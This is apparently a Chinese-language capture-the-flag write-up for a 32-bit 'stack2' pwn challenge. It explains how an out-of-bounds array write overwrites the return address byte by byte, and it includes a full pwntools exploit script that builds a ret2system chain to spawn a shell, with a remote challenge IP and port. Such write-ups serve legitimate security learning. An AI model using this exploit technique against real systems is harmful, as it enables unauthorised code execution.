到了进阶题目越来越好玩了,发现解出来一道题有解数学那味了
嗯,拿到题目一看逻辑题,做题刚打完比赛(第一次)被逆向和pwn的逻辑题给整怕了,这次遇到这种题目,我选择硬刚!
首先读懂题目的内在逻辑,并关注常见的pwn漏洞,首先一步步分析
这里有个循环100次接收输入,全局的看了下都是在对buf操作,先标志一手,但是这里无法产生溢出,那么看下面
首先看到for里面初始化j = v5 ,那么这个j也就是我们可控的标记一下,然后就是死循环,每次循环后调用一次printf
select1就是显示所有值、select2添加值,select3修改值、select4打印所有累加值、select其他就是完美避开所有判断break跳出所有循环
嗯,分析之后大概的试了下程序,突破口在于这个for循环中的j,可以看到select1中就是打印出我想要看到的长度数值
那么第一次输入的时候就可以直接尝试输入一个很大的值,然后select1看看打印的值,
num = 0x70+0x4 + (0x4 *4)
sla('\n',str(num))
#输入的100个数
for i in range(0,100):
sl('1')
sl('1')#显示数据是否正确
因为我输入的长度是大于缓冲区的所以打印出了多余的,那么再来看看栈空间是否数值匹配
果然没错刚好对应栈空间数据,那么我们回到ida中,因为select2对数据进行判断我们不能添加成功99个之后的数,但是select3却可以,所以我们只要找到数组中对应的索引对齐单个修改就可以修改成我们想要的地址了,为了后面的方便我提取了个方法
def send(index,data):
sl('3') #逐个进行修改ret地址
sl(str(index))
sl(str(ord(data)))
最后将栈空间对应的索引,和要修改的拼接地址传入进来,ok!payload如下:
backdoor = 0x804859B #这个好像用不了
data = p32(backdoor)
send(num,data[0:-3])
send(num+1,data[1:-2])
send(num+2,data[2:-1])
send(num+3,data[3:])
因为程序提供了后门函数,所以最后直接运行程序,本地跑通了,但是远程却失败了,报了个找不到bash的错误,嗯!,没关系,刚好程序提供了System函数和sh字符(需要解析),那么自己搭个桥就是了
syst_addr = 0x8048450
bin_sh = 0x08048980 +7 #刚好取到sh(这是个小技巧,可以记下笔记)
然后再按之前的方法在后门进行拼接进去我们的参数,嗯,但是程序依旧报错,我还gdb看了栈空间,确实进入了system函数,但是没多久就奔溃了,然后我想到了之前做64位的栈空间对齐问题,果断试着添加一个返回地址已填充栈空间所需数据,最终payload,可以正常拿到sh
from pwn import *
context (log_level = 'debug' ,bits=32 ,os = 'linux' ,arch = 'i386' ,terminal = ['tmux' , 'splitw', '-h'])
local = 1
binary_name = "stack2"
ip = "111.200.241.244"
port = 64664
if local:
p = process(["./" + binary_name])
e = ELF("./" + binary_name)
else:
p = remote(ip, port)
e = ELF("./" + binary_name)
def z(a=''):
if local:
gdb.attach(p, a)
if a == '':
raw_input()
else:
pass
ru = lambda x: p.recvuntil(x)
rc = lambda x: p.recv(x)
sl = lambda x: p.sendline(x)
sd = lambda x: p.send(x)
sla = lambda delim, data: p.sendlineafter(delim, data)
backdoor = 0x804859B #这个好像用不了
syst_addr = 0x8048450
main_addr = 0x080485D0
z('b *0x80488EB')
num = 0x70+0x4 + (0x4 *4)
bin_sh = 0x08048980 +7 #刚好取到sh
sla('\n',str(num))
#输入的100个数
for i in range(0,100):
sl('1')
sl('1')#显示数据是否正确
data = p32(syst_addr)
data_sh = p32(bin_sh)
data_main = p32(main_addr)
success('backdoor addr -> 0x%s',data)
success('backdoor addr -> %d',ord(data[3:]))
success('backdoor addr -> %d',ord(data[2:-1]))
success('backdoor addr -> %d',ord(data[1:-2]))
success('backdoor addr -> %d',ord(data[0:-3]))
def send(index,data):
sl('3') #逐个进行修改ret地址
sl(str(index))
sl(str(ord(data)))
send(num,data[0:-3])
send(num+1,data[1:-2])
send(num+2,data[2:-1])
send(num+3,data[3:])
send(num+4,data_main[0:-3])
send(num+5,data_main[1:-2])
send(num+6,data_main[2:-1])
send(num+7,data_main[3:])
send(num+8,data_sh[0:-3])
send(num+9,data_sh[1:-2])
send(num+10,data_sh[2:-1])
send(num+11,data_sh[3:])
sl('5')
p.interactive()
做完这题看wp后发现大佬都是一点点代码就跑出来了,和我的代码有点不一样,但思路是一样的,我这个是完全按照我做题思路一步步写出来的,所以没有经过简化,也算是一套思路过程吧,现在做题每次做到了最后获取shell的时候,都会有个栈数据填充问题,不知道是不是该考虑下我的环境问题,每次手动调栈数据好费时间啊